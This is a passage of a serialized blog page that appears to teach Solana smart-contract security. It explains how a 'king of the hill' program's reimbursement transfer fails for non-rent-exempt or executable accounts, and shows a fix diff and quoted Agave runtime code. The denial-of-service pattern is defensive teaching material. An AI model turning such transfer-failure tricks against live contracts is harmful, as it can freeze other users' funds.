pre_lamports\n",{"type":26,"tag":217,"props":92304,"children":92305},{"class":7028,"line":7681},[92306],{"type":26,"tag":217,"props":92307,"children":92308},{"style":7048},[92309],{"type":32,"value":63186},{"type":26,"tag":217,"props":92311,"children":92312},{"class":7028,"line":7754},[92313],{"type":26,"tag":217,"props":92314,"children":92315},{"style":7048},[92316],{"type":32,"value":13407},{"type":26,"tag":217,"props":92318,"children":92319},{"class":7028,"line":7784},[92320],{"type":26,"tag":217,"props":92321,"children":92322},{"style":7048},[92323],{"type":32,"value":36205},{"type":26,"tag":217,"props":92325,"children":92326},{"class":7028,"line":7802},[92327],{"type":26,"tag":217,"props":92328,"children":92329},{"style":7048},[92330],{"type":32,"value":8722},{"type":26,"tag":217,"props":92332,"children":92333},{"class":7028,"line":7811},[92334],{"type":26,"tag":217,"props":92335,"children":92336},{"style":7048},[92337],{"type":32,"value":9754},{"type":26,"tag":39,"props":92339,"children":92340},{},[92341],{"type":32,"value":92342},"You can check the rent-exemption threshold for a zero-data account with the CLI:",{"type":26,"tag":207,"props":92344,"children":92346},{"className":24328,"code":92345,"language":24330,"meta":8,"style":8},"solana rent 0\nRent-exempt minimum: 0.00089088 SOL\n",[92347],{"type":26,"tag":83,"props":92348,"children":92349},{"__ignoreMap":8},[92350,92367],{"type":26,"tag":217,"props":92351,"children":92352},{"class":7028,"line":7029},[92353,92357,92362],{"type":26,"tag":217,"props":92354,"children":92355},{"style":7064},[92356],{"type":32,"value":90642},{"type":26,"tag":217,"props":92358,"children":92359},{"style":7338},[92360],{"type":32,"value":92361}," rent",{"type":26,"tag":217,"props":92363,"children":92364},{"style":7130},[92365],{"type":32,"value":92366}," 0\n",{"type":26,"tag":217,"props":92368,"children":92369},{"class":7028,"line":6770},[92370,92375,92380,92385],{"type":26,"tag":217,"props":92371,"children":92372},{"style":7064},[92373],{"type":32,"value":92374},"Rent-exempt",{"type":26,"tag":217,"props":92376,"children":92377},{"style":7338},[92378],{"type":32,"value":92379}," minimum:",{"type":26,"tag":217,"props":92381,"children":92382},{"style":7130},[92383],{"type":32,"value":92384}," 0.00089088",{"type":26,"tag":217,"props":92386,"children":92387},{"style":7338},[92388],{"type":32,"value":92389}," SOL\n",{"type":26,"tag":631,"props":92391,"children":92393},{"id":92392},"fix-1-only-reimburse-if-rent-exempt",[92394],{"type":32,"value":92395},"Fix 1: Only Reimburse if Rent-Exempt",{"type":26,"tag":39,"props":92397,"children":92398},{},[92399],{"type":32,"value":92400},"We don't want to donate anything to an unfair king! So let's update our program to reimburse only if the old king will be rent-exempt after the transfer:",{"type":26,"tag":207,"props":92402,"children":92404},{"className":76068,"code":92403,"language":76067,"meta":8,"style":8},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n+let rent = Rent::get()?;\n+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n    transfer_from_pda(\n        &ctx.accounts.throne.to_account_info(),\n        &ctx.accounts.old_king,\n        to_reimburse,\n    )?;\n+}\n",[92405],{"type":26,"tag":83,"props":92406,"children":92407},{"__ignoreMap":8},[92408,92416,92424,92432,92440,92448,92456,92464,92472,92480],{"type":26,"tag":217,"props":92409,"children":92410},{"class":7028,"line":7029},[92411],{"type":26,"tag":217,"props":92412,"children":92413},{"style":7048},[92414],{"type":32,"value":92415},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n",{"type":26,"tag":217,"props":92417,"children":92418},{"class":7028,"line":6770},[92419],{"type":26,"tag":217,"props":92420,"children":92421},{"style":7130},[92422],{"type":32,"value":92423},"+let rent = Rent::get()?;\n",{"type":26,"tag":217,"props":92425,"children":92426},{"class":7028,"line":6779},[92427],{"type":26,"tag":217,"props":92428,"children":92429},{"style":7130},[92430],{"type":32,"value":92431},"+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n",{"type":26,"tag":217,"props":92433,"children":92434},{"class":7028,"line":7140},[92435],{"type":26,"tag":217,"props":92436,"children":92437},{"style":7130},[92438],{"type":32,"value":92439},"+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n",{"type":26,"tag":217,"props":92441,"children":92442},{"class":7028,"line":7165},[92443],{"type":26,"tag":217,"props":92444,"children":92445},{"style":7048},[92446],{"type":32,"value":92447},"    transfer_from_pda(\n",{"type":26,"tag":217,"props":92449,"children":92450},{"class":7028,"line":7178},[92451],{"type":26,"tag":217,"props":92452,"children":92453},{"style":7048},[92454],{"type":32,"value":92455},"        &ctx.accounts.throne.to_account_info(),\n",{"type":26,"tag":217,"props":92457,"children":92458},{"class":7028,"line":7389},[92459],{"type":26,"tag":217,"props":92460,"children":92461},{"style":7048},[92462],{"type":32,"value":92463},"        &ctx.accounts.old_king,\n",{"type":26,"tag":217,"props":92465,"children":92466},{"class":7028,"line":7406},[92467],{"type":26,"tag":217,"props":92468,"children":92469},{"style":7048},[92470],{"type":32,"value":92471},"        to_reimburse,\n",{"type":26,"tag":217,"props":92473,"children":92474},{"class":7028,"line":7439},[92475],{"type":26,"tag":217,"props":92476,"children":92477},{"style":7048},[92478],{"type":32,"value":92479},"    )?;\n",{"type":26,"tag":217,"props":92481,"children":92482},{"class":7028,"line":7487},[92483],{"type":26,"tag":217,"props":92484,"children":92485},{"style":7130},[92486],{"type":32,"value":92487},"+}\n",{"type":26,"tag":39,"props":92489,"children":92490},{},[92491],{"type":32,"value":92492},"But is rent-exemption the only thing that can cause a lamport transfer to fail? Not quite.",{"type":26,"tag":607,"props":92494,"children":92496},{"id":92495},"bug-2-writable-but-untouchable-set_lamports-fails",[92497,92499,92505],{"type":32,"value":92498},"Bug 2: Writable but Untouchable — ",{"type":26,"tag":83,"props":92500,"children":92502},{"className":92501},[],[92503],{"type":32,"value":92504},"set_lamports",{"type":32,"value":92506}," Fails",{"type":26,"tag":39,"props":92508,"children":92509},{},[92510,92512,92519],{"type":32,"value":92511},"Let's look at ",{"type":26,"tag":163,"props":92513,"children":92516},{"href":92514,"rel":92515},"https://github.com/anza-xyz/agave/blob/f389dd23067e37d756c3f9d2f3d50e339dad7053/transaction-context/src/lib.rs#L863-L885",[167],[92517],{"type":32,"value":92518},"BorrowedAccount::set_lamports",{"type":32,"value":180},{"type":26,"tag":207,"props":92521,"children":92523},{"className":56140,"code":92522,"language":56139,"meta":8,"style":8},"/// Overwrites the number of lamports of this account (transaction wide)\n#[cfg(not(target_os = \"solana\"))]\npub fn set_lamports(&mut self, lamports: u64) -> Result\u003C(), InstructionError> {\n    // An account not owned by the program cannot have its balance decrease\n    if !self.is_owned_by_current_program() && lamports \u003C self.get_lamports() {\n        return Err(InstructionError::ExternalAccountLamportSpend);\n    }\n    // The balance of read-only may not change\n    if !self.is_writable() {\n        return Err(InstructionError::ReadonlyLamportChange);\n    }\n    // The balance of executable accounts may not change\n    if self.is_executable_internal() {\n        return Err(InstructionError::ExecutableLamportChange);\n    }\n    // don't touch the account if the lamports do not change\n    if self.get_lamports() == lamports {\n        return Ok(());\n    }\n    self.touch()?;\n    self.account.set_lamports(lamports);\n    Ok(())\n}\n\n/// Feature gating to remove `is_executable` flag related checks\n#[cfg(not(target_os = \"solana\"))]\n#[inline]\nfn is_executable_internal(&self) -> bool {\n    !self\n        .transaction_context\n        .remove_accounts_executable_flag_checks\n        && self.account.executable()\n}\n\n",[92524],{"type":26,"tag":83,"props":92525,"children":92526},{"__ignoreMap":8},[92527,92535,92557,92633,92641,92699,92731,92738,92746,92774,92806,92813,92821,92845,92877,92884,92892,92927,92944,92951,92980,93016,93027,93034,93041,93049,93068,93076,93116,93129,93142,93154,93187],{"type":26,"tag":217,"props":92528,"children":92529},{"class":7028,"line":7029},[92530],{"type":26,"tag":217,"props":92531,"children":92532},{"style":7033},[92533],{"type":32,"value":92534},"/// Overwrites the number of lamports of this account (transaction wide)\n",{"type":26,"tag":217,"props":92536,"children":92537},{"class":7028,"line":6770},[92538,92543,92547,92552],{"type":26,"tag":217,"props":92539,"children":92540},{"style":7048},[92541],{"type":32,"value":92542},"#[cfg(not(target_os ",{"type":26,"tag":217,"props":92544,"children":92545},{"style":7149},[92546],{"type":32,"value":267},{"type":26,"tag":217,"props":92548,"children":92549},{"style":7338},[92550],{"type":32,"value":92551}," \"solana\"",{"type":26,"tag":217,"props":92553,"children":92554},{"style":7048},[92555],{"type":32,"value":92556},"))]\n",{"type":26,"tag":217,"props":92558,"children":92559},{"class":7028,"line":6779},[92560,92564,92568,92573,92577,92581,92585,92590,92594,92599,92603,92607,92611,92615,92619,92624,92629],{"type":26,"tag":217,"props":92561,"children":92562},{"style":7154},[92563],{"type":32,"value":56830},{"type":26,"tag":217,"props":92565,"children":92566},{"style":7154},[92567],{"type":32,"value":56835},{"type":26,"tag":217,"props":92569,"children":92570},{"style":7064},[92571],{"type":32,"value":92572}," set_lamports",{"type":26,"tag":217,"props":92574,"children":92575},{"style":7048},[92576],{"type":32,"value":1851},{"type":26,"tag":217,"props":92578,"children":92579},{"style":7149},[92580],{"type":32,"value":9804},{"type":26,"tag":217,"props":92582,"children":92583},{"style":7154},[92584],{"type":32,"value":90786},{"type":26,"tag":217,"props":92586,"children":92587},{"style":7154},[92588],{"type":32,"value":92589}," self",{"type":26,"tag":217,"props":92591,"children":92592},{"style":7048},[92593],{"type":32,"value":7599},{"type":26,"tag":217,"props":92595,"children":92596},{"style":7054},[92597],{"type":32,"value":92598},"lamports",{"type":26,"tag":217,"props":92600,"children":92601},{"style":7149},[92602],{"type":32,"value":1473},{"type":26,"tag":217,"props":92604,"children":92605},{"style":7119},[92606],{"type":32,"value":91146},{"type":26,"tag":217,"props":92608,"children":92609},{"style":7048},[92610],{"type":32,"value":8380},{"type":26,"tag":217,"props":92612,"children":92613},{"style":7149},[92614],{"type":32,"value":10115},{"type":26,"tag":217,"props":92616,"children":92617},{"style":7119},[92618],{"type":32,"value":56945},{"type":26,"tag":217,"props":92620,"children":92621},{"style":7048},[92622],{"type":32,"value":92623},"\u003C(), ",{"type":26,"tag":217,"props":92625,"children":92626},{"style":7119},[92627],{"type":32,"value":92628},"InstructionError",{"type":26,"tag":217,"props":92630,"children":92631},{"style":7048},[92632],{"type":32,"value":77772},{"type":26,"tag":217,"props":92634,"children":92635},{"class":7028,"line":7140},[92636],{"type":26,"tag":217,"props":92637,"children":92638},{"style":7033},[92639],{"type":32,"value":92640},"    // An account not owned by the program cannot have its balance decrease\n",{"type":26,"tag":217,"props":92642,"children":92643},{"class":7028,"line":7165},[92644,92648,92652,92656,92660,92665,92669,92673,92678,92682,92686,92690,92695],{"type":26,"tag":217,"props":92645,"children":92646},{"style":7042},[92647],{"type":32,"value":9710},{"type":26,"tag":217,"props":92649,"children":92650},{"style":7149},[92651],{"type":32,"value":37846},{"type":26,"tag":217,"props":92653,"children":92654},{"style":7154},[92655],{"type":32,"value":91922},{"type":26,"tag":217,"props":92657,"children":92658},{"style":7149},[92659],{"type":32,"value":180},{"type":26,"tag":217,"props":92661,"children":92662},{"style":7064},[92663],{"type":32,"value":92664},"is_owned_by_current_program",{"type":26,"tag":217,"props":92666,"children":92667},{"style":7048},[92668],{"type":32,"value":61808},{"type":26,"tag":217,"props":92670,"children":92671},{"style":7149},[92672],{"type":32,"value":14809},{"type":26,"tag":217,"props":92674,"children":92675},{"style":7054},[92676],{"type":32,"value":92677}," lamports",{"type":26,"tag":217,"props":92679,"children":92680},{"style":7149},[92681],{"type":32,"value":13147},{"type":26,"tag":217,"props":92683,"children":92684},{"style":7154},[92685],{"type":32,"value":92589},{"type":26,"tag":217,"props":92687,"children":92688},{"style":7149},[92689],{"type":32,"value":180},{"type":26,"tag":217,"props":92691,"children":92692},{"style":7064},[92693],{"type":32,"value":92694},"get_lamports",{"type":26,"tag":217,"props":92696,"children":92697},{"style":7048},[92698],{"type":32,"value":7841},{"type":26,"tag":217,"props":92700,"children":92701},{"class":7028,"line":7178},[92702,92706,92710,92714,92718,92722,92727],{"type":26,"tag":217,"props":92703,"children":92704},{"style":7042},[92705],{"type":32,"value":9737},{"type":26,"tag":217,"props":92707,"children":92708},{"style":7119},[92709],{"type":32,"value":77979},{"type":26,"tag":217,"props":92711,"children":92712},{"style":7048},[92713],{"type":32,"value":1851},{"type":26,"tag":217,"props":92715,"children":92716},{"style":7119},[92717],{"type":32,"value":92628},{"type":26,"tag":217,"props":92719,"children":92720},{"style":7149},[92721],{"type":32,"value":56166},{"type":26,"tag":217,"props":92723,"children":92724},{"style":7119},[92725],{"type":32,"value":92726},"ExternalAccountLamportSpend",{"type":26,"tag":217,"props":92728,"children":92729},{"style":7048},[92730],{"type":32,"value":7669},{"type":26,"tag":217,"props":92732,"children":92733},{"class":7028,"line":7389},[92734],{"type":26,"tag":217,"props":92735,"children":92736},{"style":7048},[92737],{"type":32,"value":9754},{"type":26,"tag":217,"props":92739,"children":92740},{"class":7028,"line":7406},[92741],{"type":26,"tag":217,"props":92742,"children":92743},{"style":7033},[92744],{"type":32,"value":92745},"    // The balance of read-only may not change\n",{"type":26,"tag":217,"props":92747,"children":92748},{"class":7028,"line":7439},[92749,92753,92757,92761,92765,92770],{"type":26,"tag":217,"props":92750,"children":92751},{"style":7042},[92752],{"type":32,"value":9710},{"type":26,"tag":217,"props":92754,"children":92755},{"style":7149},[92756],{"type":32,"value":37846},{"type":26,"tag":217,"props":92758,"children":92759},{"style":7154},[92760],{"type":32,"value":91922},{"type":26,"tag":217,"props":92762,"children":92763},{"style":7149},[92764],{"type":32,"value":180},{"type":26,"tag":217,"props":92766,"children":92767},{"style":7064},[92768],{"type":32,"value":92769},"is_writable",{"type":26,"tag":217,"props":92771,"children":92772},{"style":7048},[92773],{"type":32,"value":7841},{"type":26,"tag":217,"props":92775,"children":92776},{"class":7028,"line":7487},[92777,92781,92785,92789,92793,92797,92802],{"type":26,"tag":217,"props":92778,"children":92779},{"style":7042},[92780],{"type":32,"value":9737},{"type":26,"tag":217,"props":92782,"children":92783},{"style":7119},[92784],{"type":32,"value":77979},{"type":26,"tag":217,"props":92786,"children":92787},{"style":7048},[92788],{"type":32,"value":1851},{"type":26,"tag":217,"props":92790,"children":92791},{"style":7119},[92792],{"type":32,"value":92628},{"type":26,"tag":217,"props":92794,"children":92795},{"style":7149},[92796],{"type":32,"value":56166},{"type":26,"tag":217,"props":92798,"children":92799},{"style":7119},[92800],{"type":32,"value":92801},"ReadonlyLamportChange",{"type":26,"tag":217,"props":92803,"children":92804},{"style":7048},[92805],{"type":32,"value":7669},{"type":26,"tag":217,"props":92807,"children":92808},{"class":7028,"line":7524},[92809],{"type":26,"tag":217,"props":92810,"children":92811},{"style":7048},[92812],{"type":32,"value":9754},{"type":26,"tag":217,"props":92814,"children":92815},{"class":7028,"line":7553},[92816],{"type":26,"tag":217,"props":92817,"children":92818},{"style":7033},[92819],{"type":32,"value":92820},"    // The balance of executable accounts may not change\n",{"type":26,"tag":217,"props":92822,"children":92823},{"class":7028,"line":7570},[92824,92828,92832,92836,92841],{"type":26,"tag":217,"props":92825,"children":92826},{"style":7042},[92827],{"type":32,"value":9710},{"type":26,"tag":217,"props":92829,"children":92830},{"style":7154},[92831],{"type":32,"value":92589},{"type":26,"tag":217,"props":92833,"children":92834},{"style":7149},[92835],{"type":32,"value":180},{"type":26,"tag":217,"props":92837,"children":92838},{"style":7064},[92839],{"type":32,"value":92840},"is_executable_internal",{"type":26,"tag":217,"props":92842,"children":92843},{"style":7048},[92844],{"type":32,"value":7841},{"type":26,"tag":217,"props":92846,"children":92847},{"class":7028,"line":7621},[92848,92852,92856,92860,92864,92868,92873],{"type":26,"tag":217,"props":92849,"children":92850},{"style":7042},[92851],{"type":32,"value":9737},{"type":26,"tag":217,"props":92853,"children":92854},{"style":7119},[92855],{"type":32,"value":77979},{"type":26,"tag":217,"props":92857,"children":92858},{"style":7048},[92859],{"type":32,"value":1851},{"type":26,"tag":217,"props":92861,"children":92862},{"style":7119},[92863],{"type":32,"value":92628},{"type":26,"tag":217,"props":92865,"children":92866},{"style":7149},[92867],{"type":32,"value":56166},{"type":26,"tag":217,"props":92869,"children":92870},{"style":7119},[92871],{"type":32,"value":92872},"ExecutableLamportChange",{"type":26,"tag":217,"props":92874,"children":92875},{"style":7048},[92876],{"type":32,"value":7669},{"type":26,"tag":217,"props":92878,"children":92879},{"class":7028,"line":7672},[92880],{"type":26,"tag":217,"props":92881,"children":92882},{"style":7048},[92883],{"type":32,"value":9754},{"type":26,"tag":217,"props":92885,"children":92886},{"class":7028,"line":7681},[92887],{"type":26,"tag":217,"props":92888,"children":92889},{"style":7033},[92890],{"type":32,"value":92891},"    // don't touch the account if the lamports do not change\n",{"type":26,"tag":217,"props":92893,"children":92894},{"class":7028,"line":7754},[92895,92899,92903,92907,92911,92915,92919,92923],{"type":26,"tag":217,"props":92896,"children":92897},{"style":7042},[92898],{"type":32,"value":9710},{"type":26,"tag":217,"props":92900,"children":92901},{"style":7154},[92902],{"type":32,"value":92589},{"type":26,"tag":217,"props":92904,"children":92905},{"style":7149},[92906],{"type":32,"value":180},{"type":26,"tag":217,"props":92908,"children":92909},{"style":7064},[92910],{"type":32,"value":92694},{"type":26,"tag":217,"props":92912,"children":92913},{"style":7048},[92914],{"type":32,"value":61808},{"type":26,"tag":217,"props":92916,"children":92917},{"style":7149},[92918],{"type":32,"value":9106},{"type":26,"tag":217,"props":92920,"children":92921},{"style":7054},[92922],{"type":32,"value":92677},{"type":26,"tag":217,"props":92924,"children":92925},{"style":7048},[92926],{"type":32,"value":8064},{"type":26,"tag":217,"props":92928,"children":92929},{"class":7028,"line":7784},[92930,92934,92939],{"type":26,"tag":217,"props":92931,"children":92932},{"style":7042},[92933],{"type":32,"value":9737},{"type":26,"tag":217,"props":92935,"children":92936},{"style":7119},[92937],{"type":32,"value":92938}," Ok",{"type":26,"tag":217,"props":92940,"children":92941},{"style":7048},[92942],{"type":32,"value":92943},"(());\n",{"type":26,"tag":217,"props":92945,"children":92946},{"class":7028,"line":7802},[92947],{"type":26,"tag":217,"props":92948,"children":92949},{"style":7048},[92950],{"type":32,"value":9754},{"type":26,"tag":217,"props":92952,"children":92953},{"class":7028,"line":7811},[92954,92959,92963,92968,92972,92976],{"type":26,"tag":217,"props":92955,"children":92956},{"style":7154},[92957],{"type":32,"value":92958},"    self",{"type":26,"tag":217,"props":92960,"children":92961},{"style":7149},[92962],{"type":32,"value":180},{"type":26,"tag":217,"props":92964,"children":92965},{"style":7064},[92966],{"type":32,"value":92967},"touch",{"type":26,"tag":217,"props":92969,"children":92970},{"style":7048},[92971],{"type":32,"value":78002},{"type":26,"tag":217,"props":92973,"children":92974},{"style":7149},[92975],{"type":32,"value":605},{"type":26,"tag":217,"props":92977,"children":92978},{"style":7048},[92979],{"type":32,"value":7162},{"type":26,"tag":217,"props":92981,"children":92982},{"class":7028,"line":7820},[92983,92987,92991,92996,93000,93004,93008,93012],{"type":26,"tag":217,"props":92984,"children":92985},{"style":7154},[92986],{"type":32,"value":92958},{"type":26,"tag":217,"props":92988,"children":92989},{"style":7149},[92990],{"type":32,"value":180},{"type":26,"tag":217,"props":92992,"children":92993},{"style":7048},[92994],{"type":32,"value":92995},"account",{"type":26,"tag":217,"props":92997,"children":92998},{"style":7149},[92999],{"type":32,"value":180},{"type":26,"tag":217,"props":93001,"children":93002},{"style":7064},[93003],{"type":32,"value":92504},{"type":26,"tag":217,"props":93005,"children":93006},{"style":7048},[93007],{"type":32,"value":1851},{"type":26,"tag":217,"props":93009,"children":93010},{"style":7054},[93011],{"type":32,"value":92598},{"type":26,"tag":217,"props":93013,"children":93014},{"style":7048},[93015],{"type":32,"value":7669},{"type":26,"tag":217,"props":93017,"children":93018},{"class":7028,"line":7844},[93019,93023],{"type":26,"tag":217,"props":93020,"children":93021},{"style":7119},[93022],{"type":32,"value":78087},{"type":26,"tag":217,"props":93024,"children":93025},{"style":7048},[93026],{"type":32,"value":91763},{"type":26,"tag":217,"props":93028,"children":93029},{"class":7028,"line":7910},[93030],{"type":26,"tag":217,"props":93031,"children":93032},{"style":7048},[93033],{"type":32,"value":7184},{"type":26,"tag":217,"props":93035,"children":93036},{"class":7028,"line":7954},[93037],{"type":26,"tag":217,"props":93038,"children":93039},{"emptyLinePlaceholder":17},[93040],{"type":32,"value":7817},{"type":26,"tag":217,"props":93042,"children":93043},{"class":7028,"line":7985},[93044],{"type":26,"tag":217,"props":93045,"children":93046},{"style":7033},[93047],{"type":32,"value":93048},"/// Feature gating to remove `is_executable` flag related checks\n",{"type":26,"tag":217,"props":93050,"children":93051},{"class":7028,"line":8027},[93052,93056,93060,93064],{"type":26,"tag":217,"props":93053,"children":93054},{"style":7048},[93055],{"type":32,"value":92542},{"type":26,"tag":217,"props":93057,"children":93058},{"style":7149},[93059],{"type":32,"value":267},{"type":26,"tag":217,"props":93061,"children":93062},{"style":7338},[93063],{"type":32,"value":92551},{"type":26,"tag":217,"props":93065,"children":93066},{"style":7048},[93067],{"type":32,"value":92556},{"type":26,"tag":217,"props":93069,"children":93070},{"class":7028,"line":8035},[93071],{"type":26,"tag":217,"props":93072,"children":93073},{"style":7048},[93074],{"type":32,"value":93075},"#[inline]\n",{"type":26,"tag":217,"props":93077,"children":93078},{"class":7028,"line":8067},[93079,93083,93088,93092,93096,93100,93104,93108,93112],{"type":26,"tag":217,"props":93080,"children":93081},{"style":7154},[93082],{"type":32,"value":77603},{"type":26,"tag":217,"props":93084,"children":93085},{"style":7064},[93086],{"type":32,"value":93087}," is_executable_internal",{"type":26,"tag":217,"props":93089,"children":93090},{"style":7048},[93091],{"type":32,"value":1851},{"type":26,"tag":217,"props":93093,"children":93094},{"style":7149},[93095],{"type":32,"value":9804},{"type":26,"tag":217,"props":93097,"children":93098},{"style":7154},[93099],{"type":32,"value":91922},{"type":26,"tag":217,"props":93101,"children":93102},{"style":7048},[93103],{"type":32,"value":8380},{"type":26,"tag":217,"props":93105,"children":93106},{"style":7149},[93107],{"type":32,"value":10115},{"type":26,"tag":217,"props":93109,"children":93110},{"style":7119},[93111],{"type":32,"value":79568},{"type":26,"tag":217,"props":93113,"children":93114},{"style":7048},[93115],{"type":32,"value":8064},{"type":26,"tag":217,"props":93117,"children":93118},{"class":7028,"line":8107},[93119,93124],{"type":26,"tag":217,"props":93120,"children":93121},{"style":7149},[93122],{"type":32,"value":93123},"    !",{"type":26,"tag":217,"props":93125,"children":93126},{"style":7154},[93127],{"type":32,"value":93128},"self\n",{"type":26,"tag":217,"props":93130,"children":93131},{"class":7028,"line":8145},[93132,93137],{"type":26,"tag":217,"props":93133,"children":93134},{"style":7149},[93135],{"type":32,"value":93136},"        .",{"type":26,"tag":217,"props":93138,"children":93139},{"style":7048},[93140],{"type":32,"value":93141},"transaction_context\n",{"type":26,"tag":217,"props":93143,"children":93144},{"class":7028,"line":8154},[93145,93149],{"type":26,"tag":217,"props":93146,"children":93147},{"style":7149},[93148],{"type":32,"value":93136},{"type":26,"tag":217,"props":93150,"children":93151},{"style":7048},[93152],{"type":32,"value":93153},"remove_accounts_executable_flag_checks\n",{"type":26,"tag":217,"props":93155,"children":93156},{"class":7028,"line":8162},[93157,93162,93166,93170,93174,93178,93183],{"type":26,"tag":217,"props":93158,"children":93159},{"style":7149},[93160],{"type":32,"value":93161},"        &&",{"type":26,"tag":217,"props":93163,"children":93164},{"style":7154},[93165],{"type":32,"value":92589},{"type":26,"tag":217,"props":93167,"children":93168},{"style":7149},[93169],{"type":32,"value":180},{"type":26,"tag":217,"props":93171,"children":93172},{"style":7048},[93173],{"type":32,"value":92995},{"type":26,"tag":217,"props":93175,"children":93176},{"style":7149},[93177],{"type":32,"value":180},{"type":26,"tag":217,"props":93179,"children":93180},{"style":7064},[93181],{"type":32,"value":93182},"executable",{"type":26,"tag":217,"props":93184,"children":93185},{"style":7048},[93186],{"type":32,"value":64888},{"type":26,"tag":217,"props":93188,"children":93189},{"class":7028,"line":8197},[93190],{"type":26,"tag":217,"props":93191,"children":93192},{"style":7048},[93193],{"type":32,"value":7184},{"type":26,"tag":39,"props":93195,"children":93196},{},[93197],{"type":32,"value":93198},"Turns out: even writable, rent-exempt accounts can still reject lamport transfers.",{"type":26,"tag":39,"props":93200,"children":93201},{},[93202,93204,93209],{"type":32,"value":93203},"Specifically, ",{"type":26,"tag":9348,"props":93205,"children":93206},{},[93207],{"type":32,"value":93208},"executable accounts",{"type":32,"value":93210}," cannot receive or send lamports — the runtime treats them as immutable.",{"type":26,"tag":631,"props":93212,"children":93214},{"id":93213},"sidebar-whats-the-executable-flag-anyway",[93215],{"type":32,"value":93216},"Sidebar: What's the executable Flag Anyway?",{"type":26,"tag":39,"props":93218,"children":93219},{},[93220,93221,93226],{"type":32,"value":475},{"type":26,"tag":83,"props":93222,"children":93224},{"className":93223},[],[93225],{"type":32,"value":93182},{"type":32,"value":93227}," flag is a legacy mechanism marking accounts that hold program code. Historically, an account with this flag was assumed to either contain immutable BPF bytecode or was a proxy to a built-in program, and therefore it made sense to consider it read-only for performance reasons.",{"type":26,"tag":39,"props":93229,"children":93230},{},[93231,93233,93238],{"type":32,"value":93232},"This behavior became problematic with the introduction of the ",{"type":26,"tag":9348,"props":93234,"children":93235},{},[93236],{"type":32,"value":93237},"Upgradeable BPF Loader",{"type":32,"value":93239},". A workaround was used to maintain compatibility with the existing runtime logic. The program data containing bpf bytecode was split into a separate account, ProgramData, with the program account now only containing an address pointing to the ProgramData account:",{"type":26,"tag":207,"props":93241,"children":93243},{"className":56140,"code":93242,"language":56139,"meta":8,"style":8},"Program {\n    /// Address of the ProgramData account.\n    programdata_address: Pubkey,\n},\nProgramData {\n    /// Slot that the program was last modified.\n    slot: u64,\n    /// Address of the Program's upgrade authority.\n    upgrade_authority_address: Option\u003CPubkey>,\n    // The raw program data follows this serialized structure in the\n    // account's data.\n},\n",[93244],{"type":26,"tag":83,"props":93245,"children":93246},{"__ignoreMap":8},[93247,93259,93267,93288,93296,93308,93316,93336,93344,93374,93382,93390],{"type":26,"tag":217,"props":93248,"children":93249},{"class":7028,"line":7029},[93250,93255],{"type":26,"tag":217,"props":93251,"children":93252},{"style":7119},[93253],{"type":32,"value":93254},"Program",{"type":26,"tag":217,"props":93256,"children":93257},{"style":7048},[93258],{"type":32,"value":8064},{"type":26,"tag":217,"props":93260,"children":93261},{"class":7028,"line":6770},[93262],{"type":26,"tag":217,"props":93263,"children":93264},{"style":7033},[93265],{"type":32,"value":93266},"    /// Address of the ProgramData account.\n",{"type":26,"tag":217,"props":93268,"children":93269},{"class":7028,"line":6779},[93270,93275,93279,93284],{"type":26,"tag":217,"props":93271,"children":93272},{"style":7054},[93273],{"type":32,"value":93274},"    programdata_address",{"type":26,"tag":217,"props":93276,"children":93277},{"style":7149},[93278],{"type":32,"value":1473},{"type":26,"tag":217,"props":93280,"children":93281},{"style":7119},[93282],{"type":32,"value":93283}," Pubkey",{"type":26,"tag":217,"props":93285,"children":93286},{"style":7048},[93287],{"type":32,"value":10953},{"type":26,"tag":217,"props":93289,"children":93290},{"class":7028,"line":7140},[93291],{"type":26,"tag":217,"props":93292,"children":93293},{"style":7048},[93294],{"type":32,"value":93295},"},\n",{"type":26,"tag":217,"props":93297,"children":93298},{"class":7028,"line":7165},[93299,93304],{"type":26,"tag":217,"props":93300,"children":93301},{"style":7119},[93302],{"type":32,"value":93303},"ProgramData",{"type":26,"tag":217,"props":93305,"children":93306},{"style":7048},[93307],{"type":32,"value":8064},{"type":26,"tag":217,"props":93309,"children":93310},{"class":7028,"line":7178},[93311],{"type":26,"tag":217,"props":93312,"children":93313},{"style":7033},[93314],{"type":32,"value":93315},"    /// Slot that the program was last modified.\n",{"type":26,"tag":217,"props":93317,"children":93318},{"class":7028,"line":7389},[93319,93324,93328,93332],{"type":26,"tag":217,"props":93320,"children":93321},{"style":7054},[93322],{"type":32,"value":93323},"    slot",{"type":26,"tag":217,"props":93325,"children":93326},{"style":7149},[93327],{"type":32,"value":1473},{"type":26,"tag":217,"props":93329,"children":93330},{"style":7119},[93331],{"type":32,"value":91146},{"type":26,"tag":217,"props":93333,"children":93334},{"style":7048},[93335],{"type":32,"value":10953},{"type":26,"tag":217,"props":93337,"children":93338},{"class":7028,"line":7406},[93339],{"type":26,"tag":217,"props":93340,"children":93341},{"style":7033},[93342],{"type":32,"value":93343},"    /// Address of the Program's upgrade authority.\n",{"type":26,"tag":217,"props":93345,"children":93346},{"class":7028,"line":7439},[93347,93352,93356,93361,93365,93370],{"type":26,"tag":217,"props":93348,"children":93349},{"style":7054},[93350],{"type":32,"value":93351},"    upgrade_authority_address",{"type":26,"tag":217,"props":93353,"children":93354},{"style":7149},[93355],{"type":32,"value":1473},{"type":26,"tag":217,"props":93357,"children":93358},{"style":7119},[93359],{"type":32,"value":93360}," Option",{"type":26,"tag":217,"props":93362,"children":93363},{"style":7048},[93364],{"type":32,"value":7289},{"type":26,"tag":217,"props":93366,"children":93367},{"style":7119},[93368],{"type":32,"value":93369},"Pubkey",{"type":26,"tag":217,"props":93371,"children":93372},{"style":7048},[93373],{"type":32,"value":77713},{"type":26,"tag":217,"props":93375,"children":93376},{"class":7028,"line":7487},[93377],{"type":26,"tag":217,"props":93378,"children":93379},{"style":7033},[93380],{"type":32,"value":93381},"    // The raw program data follows this serialized structure in the\n",{"type":26,"tag":217,"props":93383,"children":93384},{"class":7028,"line":7524},[93385],{"type":26,"tag":217,"props":93386,"children":93387},{"style":7033},[93388],{"type":32,"value":93389},"    // account's 